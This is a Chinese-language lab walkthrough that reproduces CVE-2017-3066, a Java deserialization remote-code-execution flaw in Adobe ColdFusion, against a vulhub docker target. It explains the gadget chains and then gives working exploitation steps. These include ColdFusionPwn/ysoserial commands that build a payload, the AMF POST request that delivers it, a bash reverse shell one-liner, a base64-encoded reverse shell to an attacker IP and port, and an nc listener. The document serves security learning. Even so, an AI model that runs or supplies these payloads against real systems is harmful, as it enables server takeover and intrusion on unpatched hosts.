漏洞描述
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
Adobe ColdFusion是漂亮国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。
Adobe ColdFusion中存在java反序列化漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。
参考:https://www.wangan.com/docs/291
影响版本
Adobe ColdFusion (2016 release) Update 3及之前的版本;
Adobe ColdFusion 11 Update 11及之前的版本;
Adobe ColdFusion 10 Update 22及之前的版本。
FOFA语句
1 | 无 |
环境搭建
docker搭建
1 | cd /root/vulhub/coldfusion/CVE-2017-3066 |
漏洞复现
漏洞原理
白名单问题
最常规的利用思路来自Adobe ColdFusion的白名单问题。
Adobe ColdFusion(指定存在漏洞的版本)没有采用可信类的白名单机制,这意味着只要某个类位于Adobe ColdFusion的类路径(classpath),且符合Java Beans规范或者实现了java.io.Externalizable
,就可以发送到服务器进行反序列化。
实现了java.io.Externalizable
接口的JRE类(sun.rmi.server.UnicastRef2
和sun.rmi.server.UnicastRef
)会在AMF3反序列化过程中触发一个TCP出站连接(可被利用作反弹Shell)。当成功连接了攻击者的服务器后,程序会使用Java原生的反序列化方法ObjectInputStream.readObject()
来反序列化服务器的响应数据。结合Java原生反序列化和AMF反序列化让许多通用马在此场景得以应用。
Setter问题
公开的Setter方法是Java Beans规范的一部分。
按照Code White GmbH (github.com)组织里大佬的做法,用Eclipse建立项目,将Adobe ColdFusion 12的所有jar包以外部库形式导入,进一步查看Java原生反序列化方法ObjectInputStream.readObject()
的调用情况,打开”Call Hierarchy“。Eclipse支持在没有源代码的前提下根据现有类信息构造函数调用图(巨大)。
根据大佬的审计结果,在org.jgroups.blocks.ReplicatedTree
类的setState(byte[] new_state)
方法存在问题。
1 | /* */ public void setState(byte[] new_state) /* */ { |
根据函数调用图,该调用链的最后一个节点是调用ObjectInputStream.readObject()
。
传递给setState()
的byte[]
参数在0x0
偏移处有一个额外字节0x2
,见org.jgroups.util.Util
类的364行开始的代码,向下执行了一个switch
:
1 | /* */ public static Object objectFromByteBuffer(byte[] buffer, int offset, int length) throws Exception |
具体POC可用大佬制作的codewhitesec/ColdFusionPwn: Exploitation Tool for CVE-2017-3066 targeting Adobe Coldfusion 11/12 (github.com)生成。
此漏洞利用方法要求必须是Adobe ColdFusion 12,且开启JGroups。
Externalizable问题
另有一种利用思路来自org.apache.axis2.util.MetaDataEntry
类的readExternal
方法。
在代码的297行,程序会调用SafeObjectInputStream.install(inObject)
方法:
1 | /* */ public static SafeObjectInputStream install(ObjectInput in) /* */ { |
这个函数中,AMF3Input
实例属于org.apache.axis2.context.externalize.SafeObjectInputStream
类的一个实例。
1 | /* */ private Object readObjectOverride() /* */ throws IOException, ClassNotFoundException |
第341行创建了org.apache.axis2.context.externalize.ObjectInputStreamWithCL
的新实例,这个类是扩展(extend
)了标准java.io.ObjectInputStream
类的。在342行实现了readObject()
方法的调用。
同样可以利用大佬的工具生成POC,且对Adobe ColdFusion 11/12同时生效。
漏洞利用
使用ColdFusionPwn工具来生成POC(这里已经打包好了,poc需要下载ysoserial)。
命令执行
生成payload,执行文件创建命令。在kali中执行;
1 | java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/CVE-2017-3066_is_success' poc.ser |
生成poc.ser文件后,将POC作为数据包body发送给http://your-ip:8500/flex2gateway/amf
,Content-Type为application/x-amf
。使用burp抓包拦截:
1 | POST /flex2gateway/amf HTTP/1.1 |
右击选择Paste From File,上传poc.ser文件;
进入容器检验POC是否成功;
1 | docker exec -it 容器ID /bin/bash |
反弹shell
反弹shell格式:
1 | bash -i >& /dev/tcp/ip/port 0>&1 |
使用bash编码的payload,点击jackson-t.ca生成;
kali生成poc.ser文件,将命令内容替换为反弹shell的命令,执行;
1 | java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMC4xMzgvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}' poc.ser |
kali机器上nc监听;
1 | nc -lvvp 2333 |
以同样burp抓包拦截的方式将payload发送;
查看容器的进程状态;